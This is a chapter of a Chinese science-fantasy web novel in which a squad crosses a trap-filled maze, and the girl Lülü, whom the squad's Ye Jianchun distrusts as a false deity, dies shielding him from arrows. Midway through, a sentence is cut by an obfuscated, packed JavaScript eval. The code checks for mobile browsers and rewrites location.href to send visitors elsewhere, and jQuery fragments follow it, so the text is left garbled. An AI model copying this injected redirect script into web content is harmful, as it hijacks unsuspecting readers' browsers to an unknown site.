11. 杀.Chapter 11

作品:《神明允你

    章邱指着他,说:“你,去前面探路。”


    叶见春气笑了,说:“队长,我们现在离开这里,还有生路。”


    章邱一把拽着他,直白地说:“你又想做逃兵?就算你说得对,可找到神明的路上总是要有牺牲,你得死在我们前面,我才安心。”


    “你为什么会相信她……”叶见春忽然说不出话来,他被一股无形的力量狠狠推了一把,不受控地往前走了一步。他明显感觉到,有人在入侵自己的念。


    等等,再等等!


    这些1、2、3的数字代表什么意思,为什么孟凡刚刚走在这里就死了,刚刚那些人死的地方,似乎都是数字旁边。


    扫雷,扫雷是什么游戏?


    记忆深处忽然冒出爸爸的模糊身影——“春天,你看,这个是爸爸的一千周年纪念版扫雷游戏,这个数字表示周围八个格子的地雷数量,当你走的每一步,都要考虑下一步,任何一次失误都会爆炸失败。”


    小叶见春当时抱着爸爸一味傻笑,随手点了几下,很快就“死”了。爸爸把他抱起来,举着他到院子里玩去了。


    他的脚忽然扭转方向,向右边迈了一步。


    安然无恙。叶见春猛地松口气。


    这是他第二次违抗自己的念力了,章邱第一次开始质疑自己的能力,骤然间也忘记了对他的控制。


    但这个逃兵转头,镇定的脸上看不出半点怨恨,冷静地对自己说:“队长,给我一点时间,我能帮你。”


    平心而论,他欣赏他的能力。可惜这人贪生怕死,目无军纪。明明是死囚,却没有一点自知之明。


    五分钟后,地雷游戏结束了。


    叶见春虚脱地坐在地上,仰头看着眼前人,没头没尾地问:“绿绿,你觉得这个游戏好玩吗?”


    他的头发看起来很狼狈,但忍不住想让人有摸一摸的冲动。


    像哄小孩那样,绿绿摸摸他柔软的头发,细心地帮他擦掉脸上的血迹,嘴角抿出一点点温和笑意,宽慰道:“小春哥,我为你的同伴感到很难过。”


    “是吗?可你还没有回答我的问题,神明,好玩吗。”叶见春的眼睛里点点血丝,但这种疲倦的愤怒几乎毫无杀伤力。


    章邱拉着绿绿的胳膊到一旁,斥责说,“你吓唬她干什么,少把自己的无能发泄在别人身上。”


    死鱼一样瘫软的叶见春又被章邱拎起来:“别浪费时间,继续走。”


    -


    “2998.8.22,今天简行之这个死直男终于给我表白了耶耶耶,不枉费我对他明里暗里明示暗示悉心调教的成果!!!


    今天是我们在一起确认关系的第一天,然而狗研究所竟然要我加班,害我半夜在实验室不小心迷路,说起来我竟然从来不知道这里竟然有个地下室,而且规模不小,像一个迷宫一样。半路上还有一些上古冷兵器,把我脚都快扎瘸了。简行之那个王八蛋那个时候可能还在写代码吧,我真的快痛死了!


    后来哭得稀里哗啦的时候,有个黑衣小孩跑出来,牵着我的手带我往外走。她的手很冰,一路安静地带我往外走。我试着和她说话,却只换来沉默,最后成了我一个人的自言自语。可在这片黑漆漆的迷宫里,那只冰凉的小手,却莫名让我重新安下心来。


    走到出口的时候,我脚太痛了,我感觉后脑勺钝钝的胀痛,意识也模模糊糊,明明看见她的脸,却又慢慢变成简行之的那张脸。我从来没有见过简行之那张冷淡的冰块脸上出现这么生动焦急的表情。我忽然发现,他似乎比我想象中,更爱我一点。我甚至想,要是我还能活着,我一定要向他求婚……”


    据说,迷宫有一个流传已久的法则,只要始终贴着一侧墙壁走,总能走到出口。但这条法则似乎并不可靠,叶见春他们走了很久,可迷宫里的每一处都似曾相识。


    他们在墙壁上用力刻下记号,可那不知是什么材质,划痕很快便如水痕般消退,恢复成冰冷平滑的原状。后来他们试着留下随身物品,可只要一回头,那些东西便如同被黑暗吞噬般,消失得无影无踪。


    这是一个十分诡异的迷宫。


    “小春哥,我脚疼,你能背背我吗?”在狭窄的迷宫里,最前面的叶见春修长五指被一双比他略小些的手牵住,绿绿仍然不太习惯用双腿走路,她用亲昵的语气对他撒娇。


    但叶见春不为所动,他不动声色地抽出自己的手,几乎是满怀恶意的心思问她:“带来灾祸与不幸的始作俑者,也配吗?”


    绿绿的笑容骤然消失,眼里渐渐泛起浅浅的水花。队伍里发出小声的谴责声,连闵宇都看不下去,嘀嘀咕咕劝道:“春哥,她…或许不是神明。”


    叶见春刚想骂他蠢,背后却蓦地一疼,原来是被人狠狠抽了一鞭子,连衣服都被打破了,章邱冷冷地说:“叶见春,别犯病。”


    绿绿立即护在他身前:“别打他!”


    章邱没好气地对他翻了个白眼,叶见春扯着脸自嘲地笑了笑,重新牵住绿绿冰凉的小手,十指相扣,像是戴上一副人形枷锁,唯有手腕的木头在微微发烫。


    绿绿勾起嘴角,明晃晃地冲他甜甜一笑,笑得叶见春眼睛都疼,他暗暗挪开眼。


    可恶的神明!他一定会戳穿她的真面目。


    他心里这么想着,前方黑暗里陡然刺出数道猩红射线,绿绿着急地大喊小心,向后扑倒了叶见春。


    灼热的气流擦着他的发梢掠过,空气里瞬间弥漫开蛋白质烧焦的刺鼻气味,所有人都心有余悸地看着地上的两人。


    叶见春的心嘣嘣乱跳,他看着她的眼睛,明明是担心的神情,眼底的眸光却仿佛是在轻笑。他离她太近了,甚至能清楚感觉到,她的心跳,没有一丝一毫的变化。


    “你——”


    “哎呀,小春哥,好痛。”绿绿背后一条烧焦的伤口,鲜红的血液不断从伤口旁渗出。


    又开始演上了?


    他立即推开她:“谁要你救了?”


    章邱忍无可忍,踢开他把绿绿牵起来搽药。


    一路上,绿绿一直对叶见春有多依赖和维护,却一直不受他待见,所有人都看在眼里。


    这种低级的陷阱机关,开始会有人中招,但现在基本上已经能够避开了。如果不是叶见春刚刚走神,根本不可能毫无防备。


    小心地绕开束光阵,看见前面终于出现了从未见过的,一个亮着暖光灯的内室。叶见春眼睛一亮,率先走进去。


    这个简陋的空室里只摆着一个棋局,如果了解一点棋文化的人都能看出来,这盘面上的白子占尽天时地利,黑子气数将尽,是一盘绝无转生之路的死局。


    但在棋道式微千年的公元4000年,这世上真正了解棋文化的人寥寥无几。


    叶见春根本不懂什么围棋,他以前路过一个小世界的时候那里有人喜欢玩五个相同颜色的子连成一排的五子棋。


    其他人都露出茫然的神色,绿绿忽然从人群里钻进来,在棋盘上落一枚黑子,叶见春一把扣住她手腕。


    她不计前嫌,认真解释说:“赢了就可以离开这里了,小春哥。”


    叶见春并不相信她,她已经骗了自己太多次,他第一次见到这样厚颜无耻的神明。可他背后的章邱却毫不犹豫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094697|195614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地说:“听她的。”


    刹那间,整座迷宫开始发出沉闷的轰鸣。笨重的墙体慢慢移动,封死了来时的狭窄通道,在他们面前降下一道紧闭的合金闸门。


    然而在看不见的暗处,机关齿轮咬合转动的“咔哒”声,仿佛在暗示着什么。


    叶见春死死盯着绿绿嘴角的笑容,仿佛已经看到,下一枚棋子触发机关,他们都死在这里的场景。


    他无法控制地战栗,再也不能坐视不理,以掩耳不及迅雷之势猛然抬手,把棋盘的所有棋子打乱。


    绿绿脸上那层乖巧的假笑终于凝固,她皮笑肉不笑地看着他,过了几秒,闸门竟然缓缓上升。她垂眸掩盖自己神情,目光落在他的衣角处,夸道:“小春哥,好厉害。”


    叶见春出了一身冷汗,紧绷的大脑总算有了片刻休息,但他一转身,勾住棋盘的衣角扯着整个散乱的棋局都摔在地上。


    棋子噼啪崩散,滚落四处。


    无数冷箭从暗处射出,叶见春当机立断趴下,大喊:“卧倒!”


    然而卧倒并无大用——冷箭是从四面八方的阴影中同时射出。他刚伏低身体,头顶便掠过一道尖锐的风声。


    叶见春的大腿内侧一热,一根长箭竟然从天而降,笔直地钉在两腿之间,堪堪擦破他的小腿肚。衣角被钉在地上的箭杆勾住,他一时间没有及时躲避另一支射向脑袋的冷箭。


    他怎么也想不到,铁这样珍惜的资源,有一天竟然会被人拿来做这种笨重的,只存在于世界数据库里的武器!


    “嗤”的一声闷响。


    叶见春闭上眼,脸上沾上冰冷的液体。


    好凉,却很黏稠,他摸了摸,才看清那是鲜血。他的胸腔内温热的血,胸腔外是眼瞳涣散的绿绿。


    绿绿勉强伸出一只手,指尖轻轻抚过他的下巴,喃喃低语:“春天,好久不见。”


    猝不及防冷箭已经结束了,而他身上的小女孩也彻底咽下最后一口气,窝在他怀里一动不动。叶见春看着黑漆漆的天花板,刻意不去看她,就这样保持诡异的拥抱,感受她体温一点点流失,心里忽然有一点点抽痛。


    他明明知道是假的,还是忍不住感到难过。


    直到章邱开始检查幸存的队员,他才烦躁地坐起来,绿绿的身体已经冷透了,那样彻骨的寒冷让叶见春很讨厌,他用指腹将她嘴角的血迹仔细抹去。


    “艹,什么年代了还搞冷兵器,真是开了眼了。”章邱骂骂咧咧地走近,他看到地上那个一动不动的尸体,愣了一下,但那头绿发已经昭示着结局。他掐住叶见春的脖子把他拎起来,“你他妈是个人,竟然把女人挡在自己前面?”


    章邱是在男人堆里长大的,他看绿绿就和看珍稀物种一样,他甚至想过带上绿绿一直上路——毕竟队里又不止绿绿一个吉祥物。


    那只手越掐越紧,叶见春灰暗的眼神又缓过劲来,他奋力推开他,随意擦了擦脸上的冷血:“队长你说过,完成任务才是我们的首要目标,区区一个异世界里的陌生人,你要为她——杀我吗?”


    “艹!”章邱松开他,红着眼睛想把绿绿抱起来,一只苍蝇飞到绿绿胸口的箭杆尖上,眼睛诡异地盯着他,触手不断搓滚自己的头。那瞬间,章邱仿佛也变成了这只苍蝇,他蓦然收回了手,破口大骂,“该死,这里怎么会有苍蝇!”


    谁知道呢?叶见春想,真恶心,和那头绿色头发的人一样。他心里这么想,手却不受控地轻柔地摸了摸绿绿顺滑的短发,仿佛十分珍惜。


    章邱指着叶见春,戳着他的心口,像是一种诅咒:“你最好随时做好去死的准备。”